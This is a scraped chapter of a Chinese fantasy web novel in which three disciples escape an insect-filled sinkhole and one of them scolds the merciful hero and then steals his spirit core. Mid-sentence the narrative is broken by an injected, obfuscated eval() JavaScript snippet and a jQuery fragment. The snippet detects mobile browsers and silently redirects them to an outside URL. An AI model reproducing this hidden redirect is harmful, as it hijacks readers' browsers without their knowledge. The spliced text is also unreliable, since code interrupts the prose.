默认冷灰
24号文字
方正启体

5. 慈悲与无能

作者:何所往本书字数:K更新时间:
    (五)


    子书白完全没想到江幸和燕准居然会从天坑上跳下来,尤其没想到两个人还鼻青脸肿,一副惨不忍睹的模样。


    他倒吸一口冷气,捧住江幸那张嘴角被打破的脸,低声问:“这是天虫做的?屏障不是没破么?”


    江幸还处于死里逃生的后劲里,没空答他。


    另一边同样心有余悸的燕准,有气无力地道,“不是,那是我打的。”


    顿了顿,他又发起牢骚:“你那屏障差点就碎了,我没办法,只能抓着他跳下来找你……”


    当时江幸就跟着魔了似的,整个人一动不动,把他也吓得够呛。


    子书白沉默片刻,指尖在屏障上轻轻一点,上面的裂痕迅速恢复原状,“不会碎的,我不是说过了,只要我还活着就不会碎。”


    闻言,燕准尴尬地咳嗽了声,低低道:“当时刚跟他打完,把这茬给忘了。”


    这样说来还是他的错了,江幸当时就没打算跳,是他硬把江幸拽下来。


    “为何动手?”


    子书白敛眸低声问,“你们不是感情很好么?”


    燕准张了张口,余光瞥见江幸那苍白脆弱的脸色,最后还是什么都没说,只敷衍道:“没什么,斗了几句嘴。”


    见他不愿细说,子书白也没有再问,安静望着江幸。


    方才他的眼神写满了怨恨、不甘,好像知道自己就要死了,绝望而愤怒地掉着眼泪。他甚至连求救也不会,似乎笃定一定不会有人来救他。


    怎么可能有人连求救都不会呢?


    形容不上来那是怎样的感受,他只觉得心口被重重撞了一下,倘若没有救到江幸,他绝对会悔恨一生。


    “还有力气么?”子书白俯身下来,朝他伸出手去。


    江幸甩开他的手,调整好呼吸,“怎么样了?”


    子书白抿紧唇,片刻,轻声道:“毁掉这里很简单,可是……”


    可是什么?


    江幸阴沉着脸,顺着他的视线看去,神色忽然一滞。


    这深广的天坑里,竟然布满了大大小小数不胜数的虫茧。有的虫茧甚至还在蠕动,隐约能看到里面被黏液包裹着的人形。


    远处传来燕准的声音,急切地喊着:“这里还有人活着。”


    子书白登时应声赶去,一剑割开那厚重的茧,把人救出来。


    他已经救了很多,只是光他一个远远不足以救出这么多人。除魔试验实在太过残酷,他原本不想参与这种藐视性命的竞争,可他有不得不来的理由。


    子书白心底叹息了声,继续埋头救人。


    江幸木然地站在原地,看向地上那人,冷淡道:“他鼻子里已经灌满了黏液,肺里估计也是,活不了了。”


    两人皆错愕地望向他,便见江幸一个个揭开那些虫茧,声音漠然:“这些人都活不了了,天虫有时会把一些人当成备用粮存起来,为了防止他们挣脱虫茧,第一时间就会用黏液灌进身体里,不会很快死,也绝对活不了。”


    江幸之所以知道,因为这是他第七次重生时的死法。只不过他运气好些,在肺里灌满黏液之前自杀了,故此才没被带到这天坑里来。


    子书白怔忡地望着他,低声喃喃:“可是他还有气。”


    “很快就没了,你根本救不走这些人,离开这个天坑他们就会全部断气。”江幸无情地告诉他真相,他才不在乎子书白的感受,只想赶快离开这个鬼地方。


    话音刚落,子书白还没开口,便见到他身边刚救出来的那人脑袋忽然不自然地垂下,他瞳孔疾缩了瞬,跪在地上捧住那人的脑袋,颤声道:“别、别,再坚持一下……”


    天地之大,无人回应他的声音。


    江幸干脆利落地抽出剑来,砍断那些挡路的虫茧,既然这些魔物跟虫子很像,说不定会有什么虫母存在,找到虫母一切就能结束了。


    “唉,我觉得江幸这回说的有道理,”燕准蹲在子书白身边,拍了拍他的肩膀,安慰道,“再拖下去,说不定会有更多人被天虫害死。”


    子书白闭了闭眼,用力攥紧手心的长剑,直至指节发白,青筋暴起。


    正在翻找虫母的江幸忽然被一只手拉开,他皱了下眉,困惑地望向对方。


    还没来得及开口说话,便见子书白将他拽到身后,随后举起剑来,自上而下直直地捅进这道天坑。


    刹那间,鲜红腥臭的血液喷涌而出,几乎把江幸那层水系屏障溅满,他下意识后退半步,看到子书白浑身是血地走进更深处,一剑复一剑地贯穿。


    “地下有东西。”燕准不可思议地把江幸拉走,低声道,“难不成我们现在就站在这东西上面?”


    “是虫母。”江幸神色一凛。


    原来他早就找到了,一直迟迟不下手是因为顾忌那些活人虫茧,这死圣父。


    天虫疯狂地朝子书白冲去,尽数被凛冽的剑风挡下,不知捅了多少剑,子书白终于停了手。


    紧接着,整个天坑飞快地下陷成一个冒着狂风的大洞,那铺天盖地的天虫尽数被吸进去,江幸身形摇晃站不稳,下意识紧紧抓住燕准的衣襟。


    “江幸,我快被你勒死了……松手!”燕准咬牙切齿地攥住他的手腕,不仅要想办法逃开那风洞,还要努力防止被江幸勒死。


    下一刻,江幸和燕准在坠入大洞之前被子书白带出来,两人都累得没了力气,躺在地上大口大口喘着气。


    没了天虫,大漠的天空靛蓝无边,澄澈至极,微风柔柔地吹来,携走脸上的汗珠。


    子书白却孤坐在天坑边缘,沉默地望向那道归于平静的地洞。


    “得救了……总算结束了。”


    燕准缓过神来,余光瞥见什么,用足靴踢了踢江幸:“哎,你瞧他,多心善的人。”


    闻言,江幸撑起身子,回头看去,子书白竟然还在那枯坐着。


    不知怎的,他又开始恼火。


    或许是因为想到原书里的剧情,每次有什么人死了,子书白都是这样一副要死不活的样子。他最看不惯这一点,别人死活关他什么事?搁那默哪门子的哀?演给谁看?


    江幸从地上爬起来,燕准有些惊讶地望向他,小声道:“你管住死嘴,悠着点说话,他正难过呢。”


    难过关他屁事?


    江幸走上前去,粗暴地扯住子书白的衣襟,逼他转过脸来,却猝不及防地看到他脸上湿漉的泪痕,分明是混着未干的血淌下来的,却能清晰分辨出那是泪。


    他喉头倏然一噎,竟在那一刻把原本想骂人的话忘得一干二净。


    脑海里倏忽浮现一个瑟缩在衣柜里的小孩,在昏暗狭窄的柜子里静默地流泪,好像只要不离开那个小柜子,外面的一切就还和昨天一样,什么都没改变。


    实在可笑,死了些跟他八竿子打不着的人,居然哭成这样。


    “你很不甘心,是不是?”


    子书白怔忡地抬头。


    江幸松开紧攥着他衣襟的手,语气出奇的平静:“你觉得刚才是你放弃了他们的生命,或许其中还有些人能救活对不对?”


    “你太高高在上了,子书白,你以为你是观音菩萨还是玉皇大帝,你法力无边无所不能么?”他每个字都不带任何情绪,像一潭平静的水,不知不觉地令人主


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385920|200249||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    动走进那潭水里。


    子书白唇瓣翕动,似乎想说什么,江幸却淡声打断他,“这世上每时每刻都在死人,有些人昨天还跟你有说有笑,第二天可能就死了。你不是神仙,你无法操控生死,你得承认你还差得远,差到不够改变现状,差到不能让世上一切事情按你的心意运转。


    你越是慈悲,越显得你无能,你难道不讨厌这样的自己么?我告诉你,我很讨厌你,非常讨厌。”


    正是因为他在书里太过代入子书白这个主角,才会愈发地怨恨子书白,如果江幸有子书白的天资修为,如果他的人生像子书白的人生一样有无数选择,有爱他的家人有绝处逢生的运气——他绝不会只是坐在这哭。


    子书白脸色泛青,却无话可说。


    江幸俯身下来,轻轻拍了拍他的脸,声音冷漠而戏谑:“你是要继续在这伤春悲秋做无用功,还是回宗门去拼死修炼,直到有一天这种事再也不会在眼前发生?自己想清楚吧,蠢货。”


    他说完最后一句,头也不回地转身离开。子书白却仍在原处跪坐着,怔怔地看着江幸离去的方向。


    良久,他握着剑撑起身体,一道天光不偏不倚越过浮云洒在面前,灼烫明亮,烧得他心尖剧颤。


    他也讨厌无能的自己,除了江幸,从没有人如此斥责过他,说如此刺耳的、不留情面的话。


    江幸说得对,他想的太多但能力不足,如果变得更强,就不会再发生这种事。


    燕准目瞪口呆地望着江幸走远,好半晌,直到人影从视线里消失才回过神来,“他、他就这么走了?”


    连句谢谢也不说,反倒把子书白这救命恩人骂了一通。


    “我要回去。”


    子书白收剑入鞘,掐了个清洁咒将自己清理干净,“江幸是为了让我振作才那样说,他比我坚强得多。”


    不想被江幸讨厌,更不想让江幸觉得他是个软弱无能的蠢货。


    “坚强……?”


    燕准纳闷地看着他,没感觉出江幸哪里坚强,但见子书白的确振作起来,只能小声嘟哝道,“行吧,你说了算。咱们得把方才斩杀的魔物灵核带回宗门,我听方师兄说会按灵核的等级评分,你杀的那只虫母说不定都足够让你进入内门了。”


    闻言,子书白身形一顿,低声道:“虫母的尸体已经掉进洞里了。”


    “什么,你没挖灵核?”燕准连滚带爬地走到那天坑边,“进入内门的机会有多难得你知道么?”


    他话音刚落,神色忽顿,燕准想起就在刚刚一片混乱的时候,虫母的尸体往下坠落,江幸似乎在虫母的尸体上做了什么。


    燕准恍然大悟,脸色骤变:“怪不得江幸说完就跑,你的灵核一定被他偷了。快走,我们找他要回来!”


    子书白却摇了摇头,挣开他拽住自己的手,温声道:“那便归他了。”


    灵核而已,不必偷他也会给的,此等身外之物,他并不在乎。


    燕准震撼地望着他,半晌,憋闷地深吸一口气,恨铁不成钢道:“你日后最好离他远一些。”


    否则就子书白这个性子,毫无疑问迟早会被江幸玩死。


    与此同时,另一边。


    江幸展开白帕,将沾满鲜血的虫母灵核递给方师兄。


    他当然知道子书白会怎么想,那人根本不会追究功劳被谁抢了,哪怕不是江幸是秦上彦也无所谓。


    真是个淡泊名利的大好人。


    他要这样一步步踩着子书白,把属于子书白的东西全都夺走。


    谁叫子书白除了当救世主什么都不在意呢,与其便宜其他反派,不如便宜他。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)